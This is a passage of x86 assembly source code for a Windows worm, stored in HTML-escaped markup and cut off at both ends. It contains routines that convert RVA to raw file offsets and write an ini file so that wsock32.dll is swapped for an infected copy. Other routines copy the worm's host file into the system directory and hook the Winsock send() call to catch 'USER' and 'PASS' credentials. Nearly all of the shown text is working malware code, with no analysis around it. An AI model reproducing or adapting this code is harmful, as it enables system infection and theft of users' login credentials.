sections&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor edi, edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov di, word ptr [esi + 20d]&lt;span style=""&gt;                  &lt;/span&gt;; optional header size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, 24d&lt;span style=""&gt;                                  &lt;/span&gt;; file header size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, esi&lt;span style=""&gt;                   &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;FindCorrespondingSection:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [ebp + rva2raw]&lt;span style=""&gt;            &lt;/span&gt;; rva we want into raw&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, dword ptr [edi + 12d]&lt;span style=""&gt;                &lt;/span&gt;; section RVA&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub eax, edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, dword ptr [edi+08d]&lt;span style=""&gt;                  &lt;/span&gt;; section size&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jb SectionFound&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;NotThisSection: &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, 40d&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;loop FindCorrespondingSection&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EndRawSearch:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SectionFound:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, dword ptr [edi+20d]&lt;span style=""&gt;                  &lt;/span&gt;; pntr to section's raw&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub edx, ecx&lt;span style=""&gt;                                  &lt;/span&gt;; data from beginning &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ecx, eax&lt;span style=""&gt;                                  &lt;/span&gt;; of file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ecx, ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RVA_TO_RAW endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=========================[ ic-create_ini_file.inc ]========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CREATE_INI_FILE proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;IniGetSetWindowsDir:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SET_WINDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CreateInstallIni:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; template handle=0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 20h&lt;span style=""&gt;                                      &lt;/span&gt;; attributes=any file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 4&lt;span style=""&gt;                                        &lt;/span&gt;; type= new file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; security option = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 1&lt;span style=""&gt;                                        &lt;/span&gt;; shared for read&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 80000000h or 40000000h&lt;span style=""&gt;                   &lt;/span&gt;; generic read write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + inifile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;; offset file name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACreateFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + filehandle], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetIniFilePointerToEnd:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetFilePointer]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov dword ptr [ebp + writtensize], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;WriteInstallIniLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + inicrlf]&lt;span style=""&gt;                      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + rename]&lt;span style=""&gt;                               &lt;/span&gt;; write 'rename'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov word ptr [ebp + writtensize], 0Ah&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + sysdir]&lt;span style=""&gt;                               &lt;/span&gt;; write systemdir&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + slashsign]&lt;span style=""&gt;                    &lt;/span&gt;; write slash&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;WriteWsock32Dll:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + wsock32dll]&lt;span style=""&gt;                   &lt;/span&gt;; write original dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;WriteOn:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + equalsign]&lt;span style=""&gt;                    &lt;/span&gt;; write original dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + sysdir]&lt;span style=""&gt;                               &lt;/span&gt;; write systemdir&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + slashsign]&lt;span style=""&gt;                    &lt;/span&gt;; write slash&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;WriteInfectedWsock:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + wsock32inf]&lt;span style=""&gt;                   &lt;/span&gt;; write original dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp CloseInstallIni&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;StringSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp byte ptr [esi + ecx], 0h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je GotSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GotSize:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov word ptr [ebp + writtensize], cx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;span style=""&gt;     &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Write:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + writtenbytes]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ax, word ptr [ebp + writtensize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AWriteFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CloseInstallIni:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea esi, [ebp + inicrlf]&lt;span style=""&gt;                      &lt;/span&gt;; write original dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call StringSize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call Write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACloseHandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CREATE_INI_FILE endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=========================[ ic-copy_host_file.inc ]=========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;COPY_HOST_FILE proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetCurrentHostPath:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 100h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + currentdir]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGetModuleFileName]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetSysDirectory:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SET_SYSDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CopyWormHostFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;span style=""&gt;       &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + wsock2]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + currentdir]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACopyFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;COPY_HOST_FILE endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=========================[ ic-ws_intercept.inc ]===========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;INTERCEPT_WSOCK proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;InterceptWsockApiCall:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GetDelta&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetDelta:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub ebp, offset GetDelta&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pushad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckStatus:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [esp+(8*4)+(1*4)+4 + 0]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;; get send() socket&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + socketh], eax&lt;span style=""&gt;                      &lt;/span&gt;; save it&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [esp+(8*4)+(1*4)+4 + 4]&lt;span style=""&gt;      &lt;/span&gt; &lt;span style=""&gt;       &lt;/span&gt;; send() buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [esp+(8*4)+(1*4)+4 + 8]&lt;span style=""&gt;              &lt;/span&gt;; size of buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pushad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;call GET_GETPROCADDRESS_API_ADDRESS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;popad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckForSecurityInfo:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [esi], 'RESU'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je StoreBufferData&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;cmp [esi], 'SSAP'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne DontStore&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;StoreBufferData:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pushad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span 